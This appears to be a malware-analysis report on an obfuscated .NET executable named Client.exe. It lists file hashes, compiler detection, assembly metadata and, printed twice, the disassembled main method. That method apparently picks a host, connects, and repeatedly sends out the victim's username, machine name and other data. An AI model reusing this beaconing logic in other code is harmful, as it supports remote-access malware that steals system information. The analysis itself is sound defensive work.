cce64cd9fdca88ebdc476c3d0ff22274

PE Executable
|
MD5: cce64cd9fdca88ebdc476c3d0ff22274
|
Size: 779.26 KB
|
application/x-dosexec

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	cce64cd9fdca88ebdc476c3d0ff22274
Sha1	c64d8cd5a34ca9add4affe8b2f160de93a63cef1
Sha256	e22b2799b0afd872343083864b58dfef93a1e19838e540944beba1d58cf0512d
Sha384	a4b349c64cb1a1f9f9fcff6e07418c3de3e388d1a0c4df909f1b482551bf6f3c8994f4f6be9e266591ae7c9767819fa6
Sha512	6c514ee7cfce4d1ccc471663e597e90e97e7990cb56bb673b591f832f074345fefb6e77198bb3f105162004a75cb4fbf5a53d1186067b660dbf8fcd93bbfd3fb
SSDeep	12288:vak1VDlu1FPzQet+Q1tbATPfTB/QGH7bCOTXk0aRWsRIGPGk:CguPPzl+QHcTrdhbbhXVaRW2PGk
TLSH	1AF471216FEBDDC5E04A213F843A1905876EE2A1170373C37706BA72AE455AFDE1C2D6

PeID

.NET executable

Microsoft Visual C# / Basic .NET

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

Microsoft Visual C# v7.0 / Basic .NET

Microsoft Visual Studio .NET

File Structure

Informations

Name0	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	Client.exe
Full Name	Client.exe
EntryPoint	System.Void WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::uOijMbdUOM(System.String[])
Scope Name	Client.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Client
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.0
Total Strings	711
Main Method	System.Void WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::uOijMbdUOM(System.String[])
Main IL Instruction Count	167
Main IL	ldc.r8 736 stloc V_3 br IL_004F: br IL_0012 nop <null> ldloc V_3 ldc.r8 736 ceq <null> brfalse IL_0035: nop nop <null> ldc.r8 744 stloc V_3 nop <null> ldloc V_3 ldc.r8 744 ceq <null> brfalse IL_004F: br IL_0012 br IL_0054: call System.Void WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::nqrrZjizGAObxVtomDMHW() br IL_0012: nop call System.Void WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::nqrrZjizGAObxVtomDMHW() call System.Void WgDZnzldCADgwYBaJpHqJog.gPfmHuMUiGAhGQGmQY::pkJIECLLiZaLrWylbCXYX() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::fXSMMXbrzK call System.String HBlORbHUGjExrCwV.ghJldBXhBnqWpk::FvsqkinIJSCNXEBeaRfXZ() call System.String wILuhGrpZXXqgt.fdQmrAblkKLNSVJWwcW::DrYLIbpIePnOploGP(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_007C: ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::yQzACHFZnkHpZaFmP call System.Void ymCSIfQMziWsKxcvVVFhdsMI.SuVjMNUqYAteKEvQGtoxWEgja::YofkkVILBLILmvhmbNOlIGwG() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::yQzACHFZnkHpZaFmP call System.Boolean OupCvraOrjVjFKpyn.ZTBrfwthlZ::GQhGKXgFPxAJpQQM(System.String) brtrue IL_0090: call System.Void wILuhGrpZXXqgt.pXCUKiOSDuZQVAlgvUt::FUeuwMnkryVlkUPKjI() leave IL_0293: ret call System.Void wILuhGrpZXXqgt.pXCUKiOSDuZQVAlgvUt::FUeuwMnkryVlkUPKjI() call System.Void mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::qscBiSRnBMJ() ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldfld System.Boolean QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::kNlBgxvigJXTGA brtrue IL_027E: call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::lkdZuswHUXElj() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::BbXdfkpIwDfauVjrUaoDGwtF call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::mslxPYHJSa() newarr System.Char dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::QsRXFfMWItOGBC() call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::RmKBZJMFPsDAhVFTD() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_0 ldloc V_0 ldsfld System.Random mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::szRrDBWQCKIEzR ldloc V_0 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::EKCTETXmMFIYljvrGUyRAFDn() newarr System.Char dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::fCefACaLKx() call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::VyiqenxHwqGTEpOlUlvyGPR() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_1 ldloc V_1 call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::RsGLDiNbmDWIlHnNI() ldelem System.String call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::qLYiaqmQGZOylFgIZlgmEOde() newarr System.Char dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::BTFzMyiqKYFBjSQYmbnN() call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::RQcdiBgWrchtAYWgRuafHa() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_2 ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk callvirt System.Void QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::jRyPNYSAAIZ() ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldloc V_1 call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::aHpTPNSmpQtjCdWdxBUS() ldelem System.String ldloc V_2 ldsfld System.Random mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::szRrDBWQCKIEzR ldloc V_2 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String callvirt System.Void QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::ckXnuSkEVyBbqL(System.String,System.String) ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldfld System.Boolean QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::kNlBgxvigJXTGA brfalse IL_027E: call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::lkdZuswHUXElj() ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk newobj System.Void mQNWCewmURJKhRiCDjf.RrmVvEvQGzkDCxiOJSmcby::.ctor(QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ) stfld mQNWCewmURJKhRiCDjf.RrmVvEvQGzkDCxiOJSmcby QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::LFRMneHuGaRMjeYDEuKdNVddt ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk newobj System.Void mQNWCewmURJKhRiCDjf.BDEXJDmOjSZuckVbiXoyvfg::.ctor(QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ) stfld mQNWCewmURJKhRiCDjf.BDEXJDmOjSZuckVbiXoyvfg QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::tOJhXvjiTCeWmkcSeb ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::YHjturUhNhgrkBVthRIZpsdH() newarr System.Object dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::UDvQdenIkCAGZVVxFciNsS() call System.String HBlORbHUGjExrCwV.ghJldBXhBnqWpk::DrhMpTlnfYmuPf() call System.String wILuhGrpZXXqgt.fdQmrAblkKLNSVJWwcW::DrYLIbpIePnOploGP(System.String) stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::AkPkLsGfebEZoZQjDs() call System.Byte[] mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::dnwOHhcRqQLorVjXUFIEb() stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::zyVnHwncjPuuwCbugOub() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::ZcSJfEfYmPJDkTze stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::dWWeVvhXotfUJS() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::znrjNrAsjG stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::ewHnYQXQkhIXMfkUJR() call System.String System.Environment::get_UserName() call System.String HBlORbHUGjExrCwV.ghJldBXhBnqWpk::liOfAZkCup() call System.String wILuhGrpZXXqgt.fdQmrAblkKLNSVJWwcW::DrYLIbpIePnOploGP(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::WczImAGEvVOZmjz() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::tDrtcvitHzMprFcHtRWLPb stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::jGGCyGGmwMYUsE() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::lWJGEpvrWhNxCTLxngtJ stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::VDqwAfoUnSMcuVIWn() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::VjCJbcTpWg stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::PAODOUPWNLablL() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::iNodyCpxufbYBBolVnB stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::xtWvnykvlSkmeLQoplHdDKS() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::RUGWToeELHqHeHZni stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::WgeRcuLgAlxblbAOeFckdh() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::qHqUuEAxSgDgnEhSIFH stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::KwXlqeimmbhYGUTTrHEms() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::GpbqaurjcgVmjMhwbYqgMy stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::pCNlszyihKovTV() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::gvWFPHBwNopUjZLOreDZW stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::IVCRyKAECtu() call System.String mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::kPsQzdEFYuVSSkl() stelem.ref <null> call System.Byte[] TQuKaKxfMqmcrrBx.eilmoogAylwNJudRckNy::GyhoYyIlkVqNoxnSDCeFeqMS(System.Object[]) callvirt System.Void QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::XywcqHrYQTaJjAuC(System.Byte[]) call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::lkdZuswHUXElj() call System.Void System.Threading.Thread::Sleep(System.Int32) br IL_009A: ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk pop <null> leave IL_0293: ret ret <null>
Module Name	Client.exe
Full Name	Client.exe
EntryPoint	System.Void WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::uOijMbdUOM(System.String[])
Scope Name	Client.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Client
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.0
Total Strings	711
Main Method	System.Void WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::uOijMbdUOM(System.String[])
Main IL Instruction Count	167
Main IL	ldc.r8 736 stloc V_3 br IL_004F: br IL_0012 nop <null> ldloc V_3 ldc.r8 736 ceq <null> brfalse IL_0035: nop nop <null> ldc.r8 744 stloc V_3 nop <null> ldloc V_3 ldc.r8 744 ceq <null> brfalse IL_004F: br IL_0012 br IL_0054: call System.Void WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::nqrrZjizGAObxVtomDMHW() br IL_0012: nop call System.Void WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::nqrrZjizGAObxVtomDMHW() call System.Void WgDZnzldCADgwYBaJpHqJog.gPfmHuMUiGAhGQGmQY::pkJIECLLiZaLrWylbCXYX() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::fXSMMXbrzK call System.String HBlORbHUGjExrCwV.ghJldBXhBnqWpk::FvsqkinIJSCNXEBeaRfXZ() call System.String wILuhGrpZXXqgt.fdQmrAblkKLNSVJWwcW::DrYLIbpIePnOploGP(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_007C: ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::yQzACHFZnkHpZaFmP call System.Void ymCSIfQMziWsKxcvVVFhdsMI.SuVjMNUqYAteKEvQGtoxWEgja::YofkkVILBLILmvhmbNOlIGwG() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::yQzACHFZnkHpZaFmP call System.Boolean OupCvraOrjVjFKpyn.ZTBrfwthlZ::GQhGKXgFPxAJpQQM(System.String) brtrue IL_0090: call System.Void wILuhGrpZXXqgt.pXCUKiOSDuZQVAlgvUt::FUeuwMnkryVlkUPKjI() leave IL_0293: ret call System.Void wILuhGrpZXXqgt.pXCUKiOSDuZQVAlgvUt::FUeuwMnkryVlkUPKjI() call System.Void mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::qscBiSRnBMJ() ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldfld System.Boolean QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::kNlBgxvigJXTGA brtrue IL_027E: call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::lkdZuswHUXElj() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::BbXdfkpIwDfauVjrUaoDGwtF call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::mslxPYHJSa() newarr System.Char dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::QsRXFfMWItOGBC() call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::RmKBZJMFPsDAhVFTD() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_0 ldloc V_0 ldsfld System.Random mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::szRrDBWQCKIEzR ldloc V_0 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::EKCTETXmMFIYljvrGUyRAFDn() newarr System.Char dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::fCefACaLKx() call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::VyiqenxHwqGTEpOlUlvyGPR() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_1 ldloc V_1 call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::RsGLDiNbmDWIlHnNI() ldelem System.String call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::qLYiaqmQGZOylFgIZlgmEOde() newarr System.Char dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::BTFzMyiqKYFBjSQYmbnN() call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::RQcdiBgWrchtAYWgRuafHa() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_2 ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk callvirt System.Void QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::jRyPNYSAAIZ() ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldloc V_1 call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::aHpTPNSmpQtjCdWdxBUS() ldelem System.String ldloc V_2 ldsfld System.Random mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::szRrDBWQCKIEzR ldloc V_2 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String callvirt System.Void QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::ckXnuSkEVyBbqL(System.String,System.String) ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldfld System.Boolean QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::kNlBgxvigJXTGA brfalse IL_027E: call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::lkdZuswHUXElj() ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk newobj System.Void mQNWCewmURJKhRiCDjf.RrmVvEvQGzkDCxiOJSmcby::.ctor(QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ) stfld mQNWCewmURJKhRiCDjf.RrmVvEvQGzkDCxiOJSmcby QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::LFRMneHuGaRMjeYDEuKdNVddt ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk newobj System.Void mQNWCewmURJKhRiCDjf.BDEXJDmOjSZuckVbiXoyvfg::.ctor(QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ) stfld mQNWCewmURJKhRiCDjf.BDEXJDmOjSZuckVbiXoyvfg QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::tOJhXvjiTCeWmkcSeb ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::YHjturUhNhgrkBVthRIZpsdH() newarr System.Object dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::UDvQdenIkCAGZVVxFciNsS() call System.String HBlORbHUGjExrCwV.ghJldBXhBnqWpk::DrhMpTlnfYmuPf() call System.String wILuhGrpZXXqgt.fdQmrAblkKLNSVJWwcW::DrYLIbpIePnOploGP(System.String) stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::AkPkLsGfebEZoZQjDs() call System.Byte[] mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::dnwOHhcRqQLorVjXUFIEb() stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::zyVnHwncjPuuwCbugOub() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::ZcSJfEfYmPJDkTze stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::dWWeVvhXotfUJS() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::znrjNrAsjG stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::ewHnYQXQkhIXMfkUJR() call System.String System.Environment::get_UserName() call System.String HBlORbHUGjExrCwV.ghJldBXhBnqWpk::liOfAZkCup() call System.String wILuhGrpZXXqgt.fdQmrAblkKLNSVJWwcW::DrYLIbpIePnOploGP(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::WczImAGEvVOZmjz() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::tDrtcvitHzMprFcHtRWLPb stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::jGGCyGGmwMYUsE() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::lWJGEpvrWhNxCTLxngtJ stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::VDqwAfoUnSMcuVIWn() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::VjCJbcTpWg stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::PAODOUPWNLablL() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::iNodyCpxufbYBBolVnB stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::xtWvnykvlSkmeLQoplHdDKS() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::RUGWToeELHqHeHZni stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::WgeRcuLgAlxblbAOeFckdh() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::qHqUuEAxSgDgnEhSIFH stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::KwXlqeimmbhYGUTTrHEms() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::GpbqaurjcgVmjMhwbYqgMy stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::pCNlszyihKovTV() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::gvWFPHBwNopUjZLOreDZW stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::IVCRyKAECtu() call System.String mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::kPsQzdEFYuVSSkl() stelem.ref <null> call System.Byte[] TQuKaKxfMqmcrrBx.eilmoogAylwNJudRckNy::GyhoYyIlkVqNoxnSDCeFeqMS(System.Object[]) callvirt System.Void QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::XywcqHrYQTaJjAuC(System.Byte[]) call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::lkdZuswHUXElj() call System.Void System.Threading.Thread::Sleep(System.Int32) br IL_009A: ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk pop <null> leave IL_0293: ret ret <null>

cce64cd9fdca88ebdc476c3d0ff22274 (779.26 KB)

cce64cd9fdca88ebdc476c3d0ff22274

PE Executable | MD5: cce64cd9fdca88ebdc476c3d0ff22274 | Size: 779.26 KB | application/x-dosexec

PE Executable
|
MD5: cce64cd9fdca88ebdc476c3d0ff22274
|
Size: 779.26 KB
|
application/x-dosexec